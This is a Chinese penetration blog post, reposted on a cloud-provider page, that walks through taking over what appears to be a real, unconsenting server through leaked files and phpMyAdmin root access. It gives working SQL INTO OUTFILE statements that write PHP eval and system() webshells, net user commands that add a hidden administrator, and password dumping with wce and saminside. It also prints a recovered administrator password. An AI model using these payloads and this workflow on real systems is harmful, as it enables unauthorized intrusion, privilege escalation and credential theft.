PhpMyadmin利用Mysql root密码获取webshell

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介:

Simeon

   Phpmyadmin是一款著名的mysql在线管理系统,通过提供的mysql数据库用户账号和密码对所管理的数据库实施操作。在渗透过程中,一旦获取其mysql账号和对应的密码,轻者获取其账号所管理数据库,重者可以配合其它漏洞获取webshell权限和系统权限。Root账号及口令可以通过暴力破解,源代码泄露等途径获取,本文主要就其root账号获取以及phpmyadmin的利用、如何导出webshell等进行探讨。

Mysql root账号及密码在phpmyadmin中的利用思路主要有以下几个方面:

1)获取所有数据库中敏感表中的内容。例如涉及系统配置的表,涉及CMS管理的各种管理员表以及用户账号的表。通过这些表获取管理员账号和密码,各种配置信息。

2)获取网站的真实物理路径。网站的真实物理路径主要用来导出webshell,其方法主要有程序报错、phpinfo函数、程序配置表等。

3)通过查询语句直接将一句话后门导入到网站目录或者phpmyadmin所在目录。

4)获取webshell后,如果是windows系统则可以尝试进行提权。

5)有些网站可能前期被渗透过,网站可能有webshell,特别是一句话后门,如果有后门则可以通过一句话后门暴力破解获取。

6)无法获取网站的真实路径情况下,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell

7)如果目标不仅仅是一个网站,则可以通过分析获取的密码信息对相邻或者已知目标系统进行渗透利用,例如扫描SSH口令、Mysql口令等。

8)很多提供phpmyadmin的网站往往会存在目录泄露和代码泄露等漏洞,通过泄露的代码来获取数据库口令,审计泄露代码获取漏洞并利用。

9phpmyadmin某些版本存在远程执行以及包含等漏洞,可以通过这些漏洞直接获取webshell

   下面是一个实际利用的实例。

1.IP所在端口进行全端口扫描

   Nmap中输入IP地址,选择“Intense scan,all Tcp port”,扫描结果显示该IP开放了13510263306338980等端口,详细端口开放情况如图1所示,在实际渗透过程中可以在浏览器中对逐个端口进行一一访问,当然一些比较明显的端口就不用测试了。有些服务器为了提供多个服务,有时候会开放多个端口,端口越多意味着可以利用的漏洞也就越多。

                            wKiom1kje7Sw6nWwAAUx_0IqHdw628.jpg-wh_50

1端口开放情况

2.IP地址进行域名反查

   将该IP在域名反查网站中进行查询,如图2所示,显示该IP存在3个网站。

wKioL1kje8PQbXZZAAFOyUXJ4cM135.jpg-wh_50

2域名反查

3.对网站IP进行访问

   在浏览器中直接输入该IP进行访问,发下该IP下存在phpmyadmin目录、源代码、数据库备份文件等,如图3所示。其中可下载文件列表:

http://182.xx.xxx.16/mxsy_newzs.sql

http://182.xx.xxx.16/szcmsw.sql

http://182.xx.xxx.16/szcmsw11.sql

http://182.xx.xxx.16/hs.zip

http://182.xx.xxx.16/Z-BlogPHP_1_4_Deeplue_150101.zip

wKioL1kje8Ti1XDuAAFcse04QHU359.jpg-wh_50

服务器所在IP存在目录泄露等漏洞

4.获取数据库口令

   分别下载网站泄露的压缩文件和数据库文件,下载文件后将压缩文件进行解压,然后寻找数据库配置文件。解压hs.zip后,在其data目录下的common.inc.php文件中获取了其数据库配置,如图4所示,但很明显该密码不是真正的数据库密码,应该是某一个cms的源代码程序包。继续对每一个泄露的目录进行访问,发现szcms1目录下还存rar文件,http://182.xx.xxx.16/szcms1/szcms.rarhttp://182.xx.xxx.16/szcms1/szcms1.rar如图5所示。将其下载后进行解压缩,成功找到数据库配置文件。

wKiom1kje8Sz8dmpAAGcUqlUXbU239.jpg-wh_50

4获取数据库配置文件内容

wKioL1kje8XAXjZMAALmi8Xs5Yc732.jpg-wh_50

5再次发现泄露源代码压缩文件

5.登录phpmyadmin

   使用在前面szcms1.rar中获取的root账号密码进行登录,如图6所示成功登录,可以看到该mysql数据库中共有7个有用的数据库。可以选择数据库,然后选择“导出”,将指定数据库导出到本地(传说中的脱裤,尽量别干!)。

wKiom1kje8aSUQBiAADOOVI2lvA447.png-wh_50

6登录phpmyadmin

6.导出一句话后门到服务器

   目前导出一句话后门的方法有以下几种:

   (1)创建表方式

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;

    上面代码是在mysql数据库中创建darkmoon然后加入一个名字为darkmoon1的字段并在darkmoon1的字段中插入一句话代码然后从darkmoon1字段里面导出一句话到网站的真实路径“C:/WWW/szcms1/szcms/Public/”,最后就是删除darkmoon这个表

    注意:在使用以上代码时必须选择mysql数据库,并在phpMyAdmin中选择SQL,然后执行以上代码即可。需要修改的地方是网站的真实路径和文件名称“C:/WWW/szcms1/szcms/Public/ exehack.php”

(2)直接导出一句话后门文件

   select '<?php@eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'

   如果显示结果类似“您的 SQL 语句已成功运行 ( 查询花费 0.0006 秒 )”表明后门文件生成成功。

(3)直接执行命令权限的shell

select '<?php echo\'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTOOUTFILE 'd:/www/cmd.php'

该方法导出成功后可以直接执行DOS命令使用方法:www.xxx.com/cmd.php?cmd=(cmd=后面直接执行dos命令)

在本例中执行导出脚本语句后,网站给挂了,访问不了服务器这比较郁闷,尝试通过mysql数据库客户端连接工具“Navicat for MySQL”,新建一个连接,将ip地址等信息全部输入“Navicat for MySQL”中,成功连接,如图7说是。运气真好!

wKioL1kje8aiJBlOAAKZoNCxZd4679.jpg-wh_50

7使用Navicat forMySQL连接mysql数据库

通过访问http://182.xx.xxx.16/szcms1/szcms/Public/Home/images/micro_r4_c2.png来获取网站的真实物理路径C:\WWW\szcms1\szcms\Tp\,如图8所示。

wKiom1kje8fycqpSAADdwy-oIsg751.png-wh_50

8获取真实路径

然后在mysql数据库中分别执行:

CREATE TABLE`mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO`mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php@eval($_POST[pass]);?>');

SELECT`darkmoon1` FROM `darkmoon` INTO OUTFILE 'C:/WWW/szcms1/szcms/Public/exehack.php';

DROP TABLE IFEXISTS `darkmoon`;

    对导出的webshell在网站进行访问测试,如图9所示,如果没有显示错误,则表示可以运行,在中国菜刀一句话后门管理中添加该地址直接获取webshell,如图10所示。

wKiom1kje8eC0ohRAACNKM2TQ9I318.jpg-wh_50

9通过目录泄露漏洞查看文件是否导出成功

wKioL1kje8fhxsubAAFvpSK4w3Y034.jpg-wh_50

10获取webshell

9.服务器提权

  1wce直接获取明文密码失败

通过中国菜刀队远程终端命令,直接在其中执行命令,执行whoami命令显示为系统权限,上传wce64.exe并执行“wce64 -w”获取当前登录明文密码,如图11所示,结果未能获取密码,直接获取明文密码失败。

wKiom1kje8igLmBUAABFOZBvr1A370.jpg-wh_50

11执行命令

2)直接添加管理员

   在前面的端口扫描中显示该服务器开启了3389端口,既然webshell可以执行命令,直接执行“netuser temp temp2005 /add”和“ net localgroup administrators temp /add”命令添加一个管理员用户temp,密码为temp2005,如图12所示成功添加temp用户到管理员组中。

wKioL1kje8ngEMJOAAEg7_6RLbU111.jpg-wh_50

12添加temp用户到管理员组

3)登录3389

    在本地打开mstsc.exe直接输入用户名和密码进行登录,如图13所示成功登录该服务器。

wKiom1kje8mwuoMuAALG0iPSidg846.jpg-wh_50

13成功登录该服务器

4)获取管理员密码hash和明文

  登录服务器后,通过浏览器下载一个saminside程序,如图14所示,直接获取系统的hash值。将该哈希值导出到本地,通过ophcrack程序进行破解。

wKioL1kje8rQHxJ5AADYTGG93Pk313.jpg-wh_50

14获取系统hash

   然后再次上传一个wce64修改版本,免输入一键获取密码,如图15所示,成功获取adminstrator的密码“123321abc*”。

wKioL1kjfFORGpdHAAC7A029IBg149.jpg-wh_50

15获取系统管理员密码

11.总结与讨论

   系统一个小小的失误,再加上一些偶然的因素,就导致一个系统被渗透,并获取了服务器权限,windowsapache+mysql+php架构如果权限设置不当,绝大部分都是system权限,在获取webshell的情况下99%都可以获取system权限。在本文中对网站开放phpmyadmin的情况下获取webshell的思路、导出webshell的方法等进行探讨。



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1928415


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
13天前
|
存储 关系型数据库 MySQL
【赵渝强老师】解决MySQL丢失root用户密码
本文介绍了MySQL数据库中用户密码存储的变化,以及如何通过特殊方法重置root用户的密码。从MySQL 5.7版本开始,密码字段由“password”改为“authentication_string”。文章详细列出了重置密码的步骤,并提供了相关代码示例和视频教程。
|
3月前
|
数据可视化 关系型数据库 MySQL
Mysql8 如何在 Window11系统下完成跳过密钥校验、完成数据库密码的修改?
这篇文章介绍了如何在Windows 11系统下跳过MySQL 8的密钥校验,并通过命令行修改root用户的密码。
Mysql8 如何在 Window11系统下完成跳过密钥校验、完成数据库密码的修改?
|
3月前
|
SQL 关系型数据库 MySQL
mysql密码错误-ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using passwor:yes)
这篇文章提供了解决MySQL数据库"Access denied for user 'root'@'localhost' (using password: YES)"错误的方法,通过跳过密码验证、修改root密码,然后重启服务来解决登录问题。
mysql密码错误-ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using passwor:yes)
|
3月前
|
安全 关系型数据库 MySQL
在Linux中,如何重置 mysql root 密码?
在Linux中,如何重置 mysql root 密码?
|
3月前
|
安全 关系型数据库 MySQL
MySQL非root安装-初始化数据库时unknown variable ‘defaults-file=**/my.cnf‘
解决安装过程中出现的问题通常需要仔细地检查错误日志、配置文件和执行命令,保证各项配置设置的精确无误是顺利完成安装的关键。通过上述的步骤分析和解决方案,非root用户安装MySQL时遇到"unknown variable 'defaults-file=**/my.cnf'"的问题应该可以得到妥善的解决。
304 0
|
3月前
|
关系型数据库 MySQL 数据安全/隐私保护
【MySQL】手把手教你MySQL各版本忘记密码如何处理
【MySQL】手把手教你MySQL各版本忘记密码如何处理
|
12天前
|
SQL 关系型数据库 MySQL
12 PHP配置数据库MySQL
路老师分享了PHP操作MySQL数据库的方法,包括安装并连接MySQL服务器、选择数据库、执行SQL语句(如插入、更新、删除和查询),以及将结果集返回到数组。通过具体示例代码,详细介绍了每一步的操作流程,帮助读者快速入门PHP与MySQL的交互。
26 1
|
14天前
|
SQL 关系型数据库 MySQL
go语言数据库中mysql驱动安装
【11月更文挑战第2天】
29 4
|
1月前
|
存储 关系型数据库 MySQL
Mysql(4)—数据库索引
数据库索引是用于提高数据检索效率的数据结构,类似于书籍中的索引。它允许用户快速找到数据,而无需扫描整个表。MySQL中的索引可以显著提升查询速度,使数据库操作更加高效。索引的发展经历了从无索引、简单索引到B-树、哈希索引、位图索引、全文索引等多个阶段。
63 3
Mysql(4)—数据库索引
|
21天前
|
监控 关系型数据库 MySQL
数据库优化:MySQL索引策略与查询性能调优实战
【10月更文挑战第27天】本文深入探讨了MySQL的索引策略和查询性能调优技巧。通过介绍B-Tree索引、哈希索引和全文索引等不同类型,以及如何创建和维护索引,结合实战案例分析查询执行计划,帮助读者掌握提升查询性能的方法。定期优化索引和调整查询语句是提高数据库性能的关键。
104 1